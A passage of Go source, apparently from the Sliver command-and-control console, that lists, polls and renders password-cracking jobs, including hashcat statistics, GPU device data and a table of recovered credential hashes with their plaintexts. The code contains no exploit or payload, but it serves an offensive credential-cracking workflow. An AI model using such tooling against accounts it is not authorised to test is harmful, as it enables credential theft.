func CrackJobsCmd(cmd *cobra.Command, con *console.SliverClient, _ []string) {
|
||||
ctx, cancel := crackCommandContext(cmd.Context(), cmd)
|
||||
defer cancel()
|
||||
|
||||
jobs, err := con.Rpc.CrackJobs(ctx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if jobs == nil || len(jobs.Jobs) == 0 {
|
||||
con.PrintInfof("No crack jobs\n")
|
||||
return
|
||||
}
|
||||
con.Printf("%s\n", renderCrackJobs(jobs.Jobs, settings.GetTableStyle(con)))
|
||||
}
|
||||
|
||||
// CrackJobCmd displays one cracking job, optionally polling until completion.
|
||||
//
|
||||
//nolint:revive // Keep the established exported command-handler name for compatibility.
|
||||
func CrackJobCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
pollInterval, _ := cmd.Flags().GetDuration("poll-interval")
|
||||
if pollInterval <= 0 {
|
||||
con.PrintErrorf("--poll-interval must be greater than zero\n")
|
||||
return
|
||||
}
|
||||
jobID, err := resolveCrackJobID(args, func() (*clientpb.CrackJobs, error) {
|
||||
ctx, cancel := crackCommandContext(cmd.Context(), cmd)
|
||||
defer cancel()
|
||||
return con.Rpc.CrackJobs(ctx, &commonpb.Empty{})
|
||||
}, forms.CrackJobSelectForm)
|
||||
if errors.Is(err, errNoCrackJobs) {
|
||||
con.PrintInfof("No crack jobs\n")
|
||||
return
|
||||
}
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
|
||||
fetch := func(parent context.Context, id string) (*clientpb.CrackJob, error) {
|
||||
ctx := parent
|
||||
cancel := func() {}
|
||||
if timeoutSeconds > 0 {
|
||||
ctx, cancel = context.WithTimeout(parent, time.Duration(timeoutSeconds)*time.Second)
|
||||
}
|
||||
defer cancel()
|
||||
return con.Rpc.CrackJobByID(ctx, &clientpb.CrackJob{ID: id})
|
||||
}
|
||||
|
||||
watch, _ := cmd.Flags().GetBool("watch")
|
||||
if !watch {
|
||||
job, err := fetch(cmd.Context(), jobID)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("%s\n", renderCrackJob(job, settings.GetTableStyle(con)))
|
||||
return
|
||||
}
|
||||
|
||||
first := true
|
||||
err = watchCrackJob(cmd.Context(), jobID, pollInterval, fetch, func(job *clientpb.CrackJob) {
|
||||
if !first {
|
||||
con.Println()
|
||||
}
|
||||
first = false
|
||||
con.Printf("%s\n", renderCrackJob(job, settings.GetTableStyle(con)))
|
||||
})
|
||||
if err != nil && !errors.Is(err, context.Canceled) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
}
|
||||
|
||||
func resolveCrackJobID(
|
||||
args []string,
|
||||
listJobs func() (*clientpb.CrackJobs, error),
|
||||
selectJob func([]*clientpb.CrackJob) (string, error),
|
||||
) (string, error) {
|
||||
if len(args) > 1 {
|
||||
return "", errors.New("only one crack job ID may be specified")
|
||||
}
|
||||
if len(args) == 1 {
|
||||
jobID := strings.TrimSpace(args[0])
|
||||
if jobID == "" {
|
||||
return "", errors.New("job ID cannot be empty")
|
||||
}
|
||||
return jobID, nil
|
||||
}
|
||||
if listJobs == nil {
|
||||
return "", errors.New("crack job lister is nil")
|
||||
}
|
||||
|
||||
jobs, err := listJobs()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if jobs == nil || !hasSelectableCrackJob(jobs.GetJobs()) {
|
||||
return "", errNoCrackJobs
|
||||
}
|
||||
if selectJob == nil {
|
||||
return "", errors.New("crack job selector is nil")
|
||||
}
|
||||
jobID, err := selectJob(jobs.GetJobs())
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
jobID = strings.TrimSpace(jobID)
|
||||
if jobID == "" {
|
||||
return "", errors.New("no crack job selected")
|
||||
}
|
||||
return jobID, nil
|
||||
}
|
||||
|
||||
func hasSelectableCrackJob(jobs []*clientpb.CrackJob) bool {
|
||||
for _, job := range jobs {
|
||||
if job != nil && strings.TrimSpace(job.GetID()) != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func crackCommandContext(parent context.Context, cmd *cobra.Command) (context.Context, context.CancelFunc) {
|
||||
if parent == nil {
|
||||
parent = context.Background()
|
||||
}
|
||||
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
|
||||
if timeoutSeconds <= 0 {
|
||||
return parent, func() {}
|
||||
}
|
||||
return context.WithTimeout(parent, time.Duration(timeoutSeconds)*time.Second)
|
||||
}
|
||||
|
||||
func watchCrackJob(ctx context.Context, jobID string, pollInterval time.Duration, fetch crackJobFetcher, onUpdate func(*clientpb.CrackJob)) error {
|
||||
if pollInterval <= 0 {
|
||||
return errors.New("poll interval must be greater than zero")
|
||||
}
|
||||
if fetch == nil {
|
||||
return errors.New("job fetcher is nil")
|
||||
}
|
||||
|
||||
var previous []byte
|
||||
for {
|
||||
job, err := fetch(ctx, jobID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if job == nil {
|
||||
return errors.New("server returned an empty crack job")
|
||||
}
|
||||
serialized, err := proto.MarshalOptions{Deterministic: true}.Marshal(job)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode crack job: %w", err)
|
||||
}
|
||||
if !bytes.Equal(serialized, previous) {
|
||||
if onUpdate != nil {
|
||||
onUpdate(job)
|
||||
}
|
||||
previous = serialized
|
||||
}
|
||||
if crackJobTerminal(job) {
|
||||
return nil
|
||||
}
|
||||
|
||||
timer := time.NewTimer(pollInterval)
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
if !timer.Stop() {
|
||||
<-timer.C
|
||||
}
|
||||
return ctx.Err()
|
||||
case <-timer.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func crackJobTerminal(job *clientpb.CrackJob) bool {
|
||||
if job == nil {
|
||||
return false
|
||||
}
|
||||
status := strings.ToUpper(job.Status.String())
|
||||
return strings.HasSuffix(status, "COMPLETED") || strings.HasSuffix(status, "FAILED") || strings.HasSuffix(status, "CANCELLED")
|
||||
}
|
||||
|
||||
func crackJobStatusStyle(status string) console.TextStyle {
|
||||
status = strings.ToUpper(strings.TrimSpace(status))
|
||||
switch {
|
||||
case strings.HasSuffix(status, "COMPLETED"):
|
||||
return console.StyleBoldSuccess
|
||||
case strings.HasSuffix(status, "FAILED"):
|
||||
return console.StyleBoldDanger
|
||||
case strings.HasSuffix(status, "CANCELLED"), strings.HasSuffix(status, "CANCELED"):
|
||||
return console.StyleBoldGray
|
||||
case status == "IN_PROGRESS", strings.HasSuffix(status, "RUNNING"), strings.HasSuffix(status, "LEASED"):
|
||||
return console.StyleBoldWarning
|
||||
case strings.HasSuffix(status, "QUEUED"), strings.HasSuffix(status, "PENDING"):
|
||||
return console.StyleBold
|
||||
default:
|
||||
return console.StyleBold
|
||||
}
|
||||
}
|
||||
|
||||
func renderCrackJobStatus(status string) string {
|
||||
status = safeCrackCell(status)
|
||||
return crackJobStatusStyle(status).Render(status)
|
||||
}
|
||||
|
||||
func renderCrackJobTitle(title string) string {
|
||||
return console.StyleBoldPrimary.Render(title)
|
||||
}
|
||||
|
||||
func renderCrackJobs(jobs []*clientpb.CrackJob, style table.Style) string {
|
||||
ordered := append([]*clientpb.CrackJob(nil), jobs...)
|
||||
sort.SliceStable(ordered, func(i, j int) bool {
|
||||
return crackJobSortTime(ordered[i]).After(crackJobSortTime(ordered[j]))
|
||||
})
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(style)
|
||||
tw.AppendHeader(table.Row{"ID", "Status", "Created", "Updated", "Keyspace", "Tasks", "Results"})
|
||||
for _, job := range ordered {
|
||||
if job == nil {
|
||||
continue
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
console.StyleBoldPrimary.Render(safeCrackCell(job.ID)),
|
||||
renderCrackJobStatus(job.Status.String()),
|
||||
formatCrackTime(job.CreatedAt),
|
||||
formatCrackTime(protoFieldText(job.ProtoReflect(), "UpdatedAt")),
|
||||
valueOrDash(protoFieldText(job.ProtoReflect(), "Keyspace")),
|
||||
strconv.Itoa(len(crackJobTasks(job))),
|
||||
crackJobResultCount(job),
|
||||
})
|
||||
}
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
//nolint:gocyclo // Keep the summary, task, device, and result sections in one deterministic job rendering pass.
|
||||
func renderCrackJob(job *clientpb.CrackJob, style table.Style) string {
|
||||
if job == nil {
|
||||
return "Empty crack job"
|
||||
}
|
||||
|
||||
sections := make([]string, 0, 4)
|
||||
summary := table.NewWriter()
|
||||
summary.SetStyle(style)
|
||||
summary.SetTitle(renderCrackJobTitle("Crack Job"))
|
||||
summary.AppendRow(table.Row{console.StyleBold.Render("ID"), console.StyleBoldPrimary.Render(safeCrackCell(job.ID))})
|
||||
summary.AppendRow(table.Row{console.StyleBold.Render("Status"), renderCrackJobStatus(job.Status.String())})
|
||||
summary.AppendRow(table.Row{console.StyleBold.Render("Created"), formatCrackTime(job.CreatedAt)})
|
||||
summary.AppendRow(table.Row{console.StyleBold.Render("Updated"), formatCrackTime(protoFieldText(job.ProtoReflect(), "UpdatedAt"))})
|
||||
summary.AppendRow(table.Row{console.StyleBold.Render("Keyspace"), valueOrDash(protoFieldText(job.ProtoReflect(), "Keyspace"))})
|
||||
if job.Err != "" {
|
||||
summary.AppendRow(table.Row{console.StyleBoldDanger.Render("Error"), console.StyleDanger.Render(safeCrackCell(job.Err))})
|
||||
}
|
||||
sections = append(sections, summary.Render())
|
||||
|
||||
tasks := crackJobTasks(job)
|
||||
if len(tasks) > 0 {
|
||||
taskTable := table.NewWriter()
|
||||
taskTable.SetStyle(style)
|
||||
taskTable.SetTitle(renderCrackJobTitle("Tasks"))
|
||||
taskTable.AppendHeader(table.Row{"ID", "Kind", "State", "Station", "Range", "Progress", "Speed", "Temp", "Updated"})
|
||||
devices := make([]crackDeviceView, 0)
|
||||
for _, task := range tasks {
|
||||
status, statusErr := crackTaskStatus(task)
|
||||
progress, speed, temperature := "-", "-", "-"
|
||||
if statusErr != nil {
|
||||
progress = console.StyleDanger.Render("invalid status JSON")
|
||||
} else if status != nil {
|
||||
progress = status.progressText()
|
||||
speed = status.speedText()
|
||||
temperature = status.temperatureText()
|
||||
for _, device := range status.Devices {
|
||||
device.TaskID = task.ID
|
||||
devices = append(devices, device)
|
||||
}
|
||||
}
|
||||
taskTable.AppendRow(table.Row{
|
||||
safeCrackCell(task.ID),
|
||||
valueOrDash(protoFieldText(task.ProtoReflect(), "Kind")),
|
||||
renderCrackJobStatus(crackTaskState(task)),
|
||||
valueOrDash(task.HostUUID),
|
||||
crackTaskRange(task),
|
||||
progress,
|
||||
speed,
|
||||
temperature,
|
||||
formatCrackTime(protoFieldText(task.ProtoReflect(), "UpdatedAt", "LastHeartbeatAt")),
|
||||
})
|
||||
}
|
||||
sections = append(sections, taskTable.Render())
|
||||
|
||||
statisticsTable := table.NewWriter()
|
||||
statisticsTable.SetStyle(style)
|
||||
statisticsTable.SetTitle(renderCrackJobTitle("Hashcat Statistics"))
|
||||
statisticsTable.AppendHeader(table.Row{
|
||||
"Task", "Session", "Status", "Target", "Guess", "Progress", "Rejected", "Restore",
|
||||
"Recovered Hashes", "Recovered Salts", "Started", "Estimated Stop",
|
||||
})
|
||||
hasStatistics := false
|
||||
for _, task := range tasks {
|
||||
status, err := crackTaskStatus(task)
|
||||
if err != nil || status == nil {
|
||||
continue
|
||||
}
|
||||
hasStatistics = true
|
||||
statisticsTable.AppendRow(table.Row{
|
||||
safeCrackCell(task.ID),
|
||||
valueOrDash(status.Session),
|
||||
valueOrDash(status.Status),
|
||||
valueOrDash(status.Target),
|
||||
status.guessText(),
|
||||
status.progressText(),
|
||||
valueOrDash(status.Rejected),
|
||||
valueOrDash(status.RestorePoint),
|
||||
pairText(status.RecoveredHashesCurrent, status.RecoveredHashesTotal),
|
||||
pairText(status.RecoveredSaltsCurrent, status.RecoveredSaltsTotal),
|
||||
formatCrackTime(status.TimeStart),
|
||||
formatCrackTime(status.EstimatedStop),
|
||||
})
|
||||
}
|
||||
if hasStatistics {
|
||||
sections = append(sections, statisticsTable.Render())
|
||||
}
|
||||
|
||||
if len(devices) > 0 {
|
||||
deviceTable := table.NewWriter()
|
||||
deviceTable.SetStyle(style)
|
||||
deviceTable.SetTitle(renderCrackJobTitle("Devices"))
|
||||
deviceTable.AppendHeader(table.Row{"Task", "ID", "Name", "Type", "Speed", "Temp", "Util", "Fan", "Core", "Memory", "Bus", "Power"})
|
||||
for _, device := range devices {
|
||||
deviceTable.AppendRow(table.Row{
|
||||
safeCrackCell(device.TaskID),
|
||||
valueOrDash(device.ID),
|
||||
valueOrDash(device.Name),
|
||||
valueOrDash(device.Type),
|
||||
device.speedText(),
|
||||
unitValue(device.Temperature, " C"),
|
||||
unitValue(device.Utilization, "%"),
|
||||
unitValue(device.FanSpeed, "%"),
|
||||
unitValue(device.CoreSpeed, " MHz"),
|
||||
unitValue(device.MemorySpeed, " MHz"),
|
||||
unitValue(device.BusLanes, " lanes"),
|
||||
unitValue(device.Power, " mW"),
|
||||
})
|
||||
}
|
||||
sections = append(sections, deviceTable.Render())
|
||||
}
|
||||
}
|
||||
|
||||
results := crackJobResults(job)
|
||||
if len(results) > 0 {
|
||||
resultTable := table.NewWriter()
|
||||
resultTable.SetStyle(style)
|
||||
resultTable.SetTitle(console.StyleBoldSuccess.Render("Recovered Credentials"))
|
||||
resultTable.AppendHeader(table.Row{"Credential", "Hash", "Plaintext"})
|
||||
for _, result := range results {
|
||||
resultTable.AppendRow(table.Row{
|
||||
valueOrDash(result.CredentialID),
|
||||
valueOrDash(result.Hash),
|
||||
valueOrDash(result.Plaintext),
|
||||
})
|
||||
}
|
||||
sections = append(sections, resultTable.Render())
|
||||
}
|
||||
|
||||
return strings.Join(sections, "\n\n")
|
||||
}
|
||||
|
||||
func crackJobSortTime(job *clientpb.CrackJob) time.Time {
|
||||
if job == nil {
|
||||
return time.Time{}
|
||||
}
|
||||
for _, value := range []string{protoFieldText(job.ProtoReflect(), "UpdatedAt"), job.CreatedAt} {
|
||||
if unix, err := strconv.ParseInt(value, 10, 64); err == nil && unix > 0 {
|
||||
return time.Unix(unix, 0)
|
||||
}
|
||||
if parsed, err := time.Parse(time.RFC3339, value); err == nil {
|
||||
return parsed
|
||||
}
|
||||
}
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
func crackJobTasks(job *clientpb.CrackJob) []*clientpb.CrackTask {
|
||||
if job == nil {
|
||||
return nil
|
||||
}
|
||||
list, ok := protoRepeatedMessages(job.ProtoReflect(), "Tasks")
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
tasks := make([]*clientpb.CrackTask, 0, list.Len())
|
||||
for index := 0; index < list.Len(); index++ {
|
||||
if task, ok := list.Get(index).Message().Interface().(*clientpb.CrackTask); ok {
|
||||
tasks = append(tasks, task)
|
||||
}
|
||||
}
|
||||
return tasks
|
||||
}
|
||||
|
||||
func crackTaskState(task *clientpb.CrackTask) string {
|
||||
if state := protoFieldText(task.ProtoReflect(), "State"); state != "" {
|
||||
return safeCrackCell(state)
|
||||
}
|
||||
if task.Err != "" {
|
||||
return "FAILED"
|
||||
}
|
||||
if task.CompletedAt != 0 {
|
||||
return "COMPLETED"
|
||||
}
|
||||
if task.StartedAt != 0 {
|
||||
return "RUNNING"
|
||||
}
|
||||
return "QUEUED"
|
||||
}
|
||||
|
||||
func crackTaskRange(task *clientpb.CrackTask) string {
|
||||
skip := protoFieldText(task.ProtoReflect(), "ShardSkip")
|
||||
limit := protoFieldText(task.ProtoReflect(), "ShardLimit")
|
||||
if skip == "" && task.Command != nil {
|
||||
skip = strconv.FormatUint(task.Command.Skip, 10)
|
||||
}
|
||||
if limit == "" && task.Command != nil {
|
||||
limit = strconv.FormatUint(task.Command.Limit, 10)
|
||||
}
|
||||
if skip == "" {
|
||||
skip = "0"
|
||||
}
|
||||
if limit == "" || limit == "0" {
|
||||
return skip + "+"
|
||||
}
|
||||
return skip + "+" + limit
|
||||
}
|
||||
|
||||
func crackTaskStatus(task *clientpb.CrackTask) (*crackStatusView, error) {
|
||||
raw := protoFieldBytes(task.ProtoReflect(), "LatestStatusJSON", "RawStatusJSON", "StatusJSON")
|
||||
if len(bytes.TrimSpace(raw)) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
return parseCrackStatusJSON(raw)
|
||||
}
|
||||
|
||||
type crackStatusView struct {
|
||||
Session string
|
||||
Status string
|
||||
Target string
|
||||
ProgressCurrent string
|
||||
ProgressTotal string
|
||||
RestorePoint string
|
||||
RecoveredHashesCurrent string
|
||||
RecoveredHashesTotal string
|
||||
RecoveredSaltsCurrent string
|
||||
RecoveredSaltsTotal string
|
||||
Rejected string
|
||||
TimeStart string
|
||||
EstimatedStop string
|
||||
Guess crackGuessView
|
||||
Devices []crackDeviceView
|
||||
}
|
||||
|
||||
type crackGuessView struct {
|
||||
Mode string
|
||||
Base string
|
||||
BaseOffset string
|
||||
BaseCount string
|
||||
BasePercent string
|
||||
MaskLength string
|
||||
Mod string
|
||||
ModOffset string
|
||||
ModCount string
|
||||
ModPercent string
|
||||
}
|
||||
|
||||
func (status *crackStatusView) progressText() string {
|
||||
if status == nil || status.ProgressCurrent == "" || status.ProgressTotal == "" {
|
||||
return "-"
|
||||
}
|
||||
current, currentErr := strconv.ParseFloat(status.ProgressCurrent, 64)
|
||||
total, totalErr := strconv.ParseFloat(status.ProgressTotal, 64)
|
||||
if currentErr == nil && totalErr == nil && total > 0 {
|
||||
return fmt.Sprintf("%s/%s (%.1f%%)", status.ProgressCurrent, status.ProgressTotal, math.Min(100, current/total*100))
|
||||
}
|
||||
return status.ProgressCurrent + "/" + status.ProgressTotal
|
||||
}
|
||||
|
||||
func (status *crackStatusView) speedText() string {
|
||||
if status == nil {
|
||||
return "-"
|
||||
}
|
||||
var total uint64
|
||||
for _, device := range status.Devices {
|
||||
speed, err := strconv.ParseUint(device.Speed, 10, 64)
|
||||
if err == nil {
|
||||
total += speed
|
||||
}
|
||||
}
|
||||
if total == 0 {
|
||||
return "-"
|
||||
}
|
||||
return humanizeHashRate(total)
|
||||
}
|
||||
|
||||
func (status *crackStatusView) temperatureText() string {
|
||||
if status == nil {
|
||||
return "-"
|
||||
}
|
||||
var maximum float64
|
||||
found := false
|
||||
for _, device := range status.Devices {
|
||||
temperature, err := strconv.ParseFloat(device.Temperature, 64)
|
||||
if err == nil && temperature >= 0 && (!found || temperature > maximum) {
|
||||
maximum = temperature
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
return "-"
|
||||
}
|
||||
return fmt.Sprintf("%g C", maximum)
|
||||
}
|
||||
|
||||
func (status *crackStatusView) guessText() string {
|
||||
if status == nil {
|
||||
return "-"
|
||||
}
|
||||
parts := make([]string, 0, 3)
|
||||
if status.Guess.Mode != "" {
|
||||
parts = append(parts, "mode="+status.Guess.Mode)
|
||||
}
|
||||
if status.Guess.Base != "" {
|
||||
base := status.Guess.Base
|
||||
if status.Guess.BaseOffset != "" || status.Guess.BaseCount != "" {
|
||||
base += " [" + pairText(status.Guess.BaseOffset, status.Guess.BaseCount) + "]"
|
||||
}
|
||||
if status.Guess.BasePercent != "" {
|
||||
base += " (" + status.Guess.BasePercent + "%)"
|
||||
}
|
||||
parts = append(parts, "base="+base)
|
||||
}
|
||||
if status.Guess.MaskLength != "" {
|
||||
parts = append(parts, "mask-length="+status.Guess.MaskLength)
|
||||
}
|
||||
if status.Guess.Mod != "" {
|
||||
mod := status.Guess.Mod
|
||||
if status.Guess.ModOffset != "" || status.Guess.ModCount != "" {
|
||||
mod += " [" + pairText(status.Guess.ModOffset, status.Guess.ModCount) + "]"
|
||||
}
|
||||
if status.Guess.ModPercent != "" {
|
||||
mod += " (" + status.Guess.ModPercent + "%)"
|
||||
}
|
||||
parts = append(parts, "mod="+mod)
|
||||
}
|
||||
if len(parts) == 0 {
|
||||
return "-"
|
||||
}
|
||||
return safeCrackCell(strings.Join(parts, "; "))
|
||||
}
|
||||
|
||||
type crackDeviceView struct {
|
||||
TaskID string
|
||||
ID string
|
||||
Name string
|
||||
Type string
|
||||
Speed string
|
||||
Temperature string
|
||||
Utilization string
|
||||
FanSpeed string
|
||||
CoreSpeed string
|
||||
MemorySpeed string
|
||||
BusLanes string
|
||||
Power string
|
||||
}
|
||||
|
||||
func (device crackDeviceView) speedText() string {
|
||||
speed, err := strconv.ParseUint(device.Speed, 10, 64)
|
||||
if err != nil || speed == 0 {
|
||||
return valueOrDash(device.Speed)
|
||||
}
|
||||
return humanizeHashRate(speed)
|
||||
}
|
||||
|
||||
func parseCrackStatusJSON(raw []byte) (*crackStatusView, error) {
|
||||
root, err := decodeLastJSONObject(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
status := &crackStatusView{
|
||||
Session: jsonText(firstJSONValue(root, "session")),
|
||||
Status: jsonText(firstJSONValue(root, "status_string", "status")),
|
||||
Target: jsonText(firstJSONValue(root, "target")),
|
||||
RestorePoint: jsonText(firstJSONValue(root, "restore_point")),
|
||||
Rejected: jsonText(firstJSONValue(root, "rejected")),
|
||||
TimeStart: jsonText(firstJSONValue(root, "time_start")),
|
||||
EstimatedStop: jsonText(firstJSONValue(root, "estimated_stop")),
|
||||
}
|
||||
status.ProgressCurrent, status.ProgressTotal = jsonPair(firstJSONValue(root, "progress"))
|
||||
status.RecoveredHashesCurrent, status.RecoveredHashesTotal = jsonPair(firstJSONValue(root, "recovered_hashes"))
|
||||
status.RecoveredSaltsCurrent, status.RecoveredSaltsTotal = jsonPair(firstJSONValue(root, "recovered_salts"))
|
||||
if guess, ok := firstJSONValue(root, "guess").(map[string]any); ok {
|
||||
status.Guess = crackGuessView{
|
||||
Mode: jsonText(firstJSONValue(guess, "guess_mode", "mode")),
|
||||
Base: jsonText(firstJSONValue(guess, "guess_base", "base")),
|
||||
BaseOffset: jsonText(firstJSONValue(guess, "guess_base_offset", "base_offset")),
|
||||
BaseCount: jsonText(firstJSONValue(guess, "guess_base_count", "base_count")),
|
||||
BasePercent: jsonText(firstJSONValue(guess, "guess_base_percent", "base_percent")),
|
||||
MaskLength: jsonText(firstJSONValue(guess, "guess_mask_length", "mask_length")),
|
||||
Mod: jsonText(firstJSONValue(guess, "guess_mod", "mod")),
|
||||
ModOffset: jsonText(firstJSONValue(guess, "guess_mod_offset", "mod_offset")),
|
||||
ModCount: jsonText(firstJSONValue(guess, "guess_mod_count", "mod_count")),
|
||||
ModPercent: jsonText(firstJSONValue(guess, "guess_mod_percent", "mod_percent")),
|
||||
}
|
||||
}
|
||||
if devices, ok := firstJSONValue(root, "devices").([]any); ok {
|
||||
for _, item := range devices {
|
||||
values, ok := item.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
status.Devices = append(status.Devices, crackDeviceView{
|
||||
ID: jsonText(firstJSONValue(values, "device_id", "id")),
|
||||
Name: safeCrackCell(jsonText(firstJSONValue(values, "device_name", "name"))),
|
||||
Type: safeCrackCell(jsonText(firstJSONValue(values, "device_type", "type"))),
|
||||
Speed: jsonText(firstJSONValue(values, "speed")),
|
||||
Temperature: jsonText(firstJSONValue(values, "temp", "temperature")),
|
||||
Utilization: jsonText(firstJSONValue(values, "util", "utilization")),
|
||||
FanSpeed: jsonText(firstJSONValue(values, "fanspeed", "fan_speed")),
|
||||
CoreSpeed: jsonText(firstJSONValue(values, "corespeed", "core_speed")),
|
||||
MemorySpeed: jsonText(firstJSONValue(values, "memoryspeed", "memory_speed")),
|
||||
BusLanes: jsonText(firstJSONValue(values, "buslanes", "bus_lanes")),
|
||||
Power: jsonText(firstJSONValue(values, "power")),
|
||||
})
|
||||
}
|
||||
}
|
||||
return status, nil
|
||||
}
|
||||
|
||||
func decodeLastJSONObject(raw []byte) (map[string]any, error) {
|
||||
decode := func(candidate []byte) (map[string]any, error) {
|
||||
decoder := json.NewDecoder(bytes.NewReader(candidate))
|
||||
decoder.UseNumber()
|
||||
var last map[string]any
|
||||
for {
|
||||
value := map[string]any{}
|
||||
if err := decoder.Decode(&value); err != nil {
|
||||
break
|
||||
}
|
||||
last = value
|
||||
}
|
||||
if last == nil {
|
||||
return nil, errors.New("no JSON object")
|
||||
}
|
||||
return last, nil
|
||||
}
|
||||
trimmed := bytes.TrimSpace(raw)
|
||||
if value, err := decode(trimmed); err == nil {
|
||||
return value, nil
|
||||
}
|
||||
lines := bytes.Split(trimmed, []byte{'\n'})
|
||||
for index := len(lines) - 1; index >= 0; index-- {
|
||||
candidate := bytes.TrimSpace(lines[index])
|
||||
if len(candidate) == 0 {
|
||||
continue
|
||||
}
|
||||
if value, err := decode(candidate); err == nil {
|
||||
return value, nil
|
||||
}
|
||||
}
|
||||
return nil, errors.New("hashcat status did not contain a JSON object")
|
||||
}
|
||||
|
||||
type crackResultView struct {
|
||||
CredentialID string
|
||||
Hash string
|
||||
Plaintext string
|
||||
}
|
||||
|
||||
func crackJobResults(job *clientpb.CrackJob) []crackResultView {
|
||||
if job == nil {
|
||||
return nil
|
||||
}
|
||||
results := make([]crackResultView, 0)
|
||||
if list, ok := protoRepeatedMessages(job.ProtoReflect(), "Results"); ok {
|
||||
for index := 0; index < list.Len(); index++ {
|
||||
message := list.Get(index).Message()
|
||||
results = append(results, crackResultView{
|
||||
CredentialID: safeCrackCell(protoFieldText(message, "CredentialID")),
|
||||
Hash: safeCrackCell(protoFieldText(message, "Hash")),
|
||||
Plaintext: displayCrackPlaintext(protoFieldBytes(message, "Plaintext")),
|
||||
})
|
||||
}
|
||||
}
|
||||
// The job-level result rows are authoritative once the server has
|
||||
// materialized them. Fall back to worker JSON only while those rows have not
|
||||
// appeared yet, avoiding duplicate plaintexts in a watched job.
|
||||
if len(results) == 0 {
|
||||
for _, task := range crackJobTasks(job) {
|
||||
results = append(results, parseRecoveredResults(protoFieldBytes(task.ProtoReflect(), "RecoveredJSON"))...)
|
||||
}
|
||||
}
|
||||
|
||||
deduplicated := make([]crackResultView, 0, len(results))
|
||||
seen := map[string]struct{}{}
|
||||
for _, result := range results {
|
||||
key := result.CredentialID + "\x00" + result.Hash + "\x00" + result.Plaintext
|
||||
if _, ok := seen[key]; ok || (result.Hash == "" && result.Plaintext == "" && result.CredentialID == "") {
|
||||
continue
|
||||
}
|
||||
seen[key] = struct{}{}
|
||||
deduplicated = append(deduplicated, result)
|
||||
}
|
||||
return deduplicated
|
||||
}
|
||||
|
||||
func crackJobResultCount(job *clientpb.CrackJob) string {
|
||||
if job == nil {
|
||||
return "-"
|
||||
}
|
||||
return valueOrDash(protoFieldText(job.ProtoReflect(), "ResultCount"))
|
||||
}
|
||||
|
||||
func displayCrackPlaintext(plaintext []byte) string {
|
||||
if !utf8.Valid(plaintext) || bytes.IndexByte(plaintext, 0) >= 0 {
|
||||
return "0x" + hex.EncodeToString(plaintext)
|
||||
}
|
||||
return safeCrackCell(string(plaintext))
|
||||
}
|
||||
|
||||
func parseRecoveredResults(raw []byte) []crackResultView {
|
||||
if len(bytes.TrimSpace(raw)) == 0 {
|
||||
return nil
|
||||
}
|
||||
decoder := json.NewDecoder(bytes.NewReader(raw))
|
||||
decoder.UseNumber()
|
||||
var items []map[string]any
|
||||
if err := decoder.Decode(&items); err != nil {
|
||||
return nil
|
||||
}
|
||||
results := make([]crackResultView, 0, len(items))
|
||||
for _, item := range items {
|
||||
results = append(results, crackResultView{
|
||||
CredentialID: safeCrackCell(jsonText(firstJSONValue(item, "credential_id", "credentialID"))),
|
||||
Hash: safeCrackCell(jsonText(firstJSONValue(item, "hash"))),
|
||||
Plaintext: decodeRecoveredPlaintext(jsonText(firstJSONValue(item, "plaintext"))),
|
||||
})
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func decodeRecoveredPlaintext(value string) string {
|
||||
decoded, err := base64.StdEncoding.DecodeString(value)
|
||||
if err != nil {
|
||||
// Older crackstations encoded plaintext as a JSON string. Preserve that
|
||||
// representation when it is not valid protobuf bytes JSON.
|
||||
return safeCrackCell(value)
|
||||
}
|
||||
if !utf8.Valid(decoded) || bytes.IndexByte(decoded, 0) >= 0 {
|
||||
return "0x" + hex.EncodeToString(decoded)
|
||||
}
|
||||
return safeCrackCell(string(decoded))
|
||||
}
|
||||
|
||||
func protoRepeatedMessages(message protoreflect.Message, names ...string) (protoreflect.List, bool) {
|
||||
field := findProtoField(message, names...)
|
||||
if field == nil || !field.IsList() || field.Kind() != protoreflect.MessageKind {
|
||||
return nil, false
|
||||
}
|
||||
return message.Get(field).List(), true
|
||||
}
|
||||
|
||||
func protoFieldBytes(message protoreflect.Message, names ...string) []byte {
|
||||
field := findProtoField(message, names...)
|
||||
if field == nil {
|
||||
return nil
|
||||
}
|
||||
switch field.Kind() {
|
||||
case protoreflect.BytesKind:
|
||||
return append([]byte(nil), message.Get(field).Bytes()...)
|
||||
case protoreflect.StringKind:
|
||||
return []byte(message.Get(field).String())
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func protoFieldText(message protoreflect.Message, names ...string) string {
|
||||
field := findProtoField(message, names...)
|
||||
if field == nil {
|
||||
return ""
|
||||
}
|
||||
value := message.Get(field)
|
||||
switch field.Kind() {
|
||||
case protoreflect.StringKind:
|
||||
return safeCrackCell(value.String())
|
||||
case protoreflect.BytesKind:
|
||||
return safeCrackCell(string(value.Bytes()))
|
||||
case protoreflect.EnumKind:
|
||||
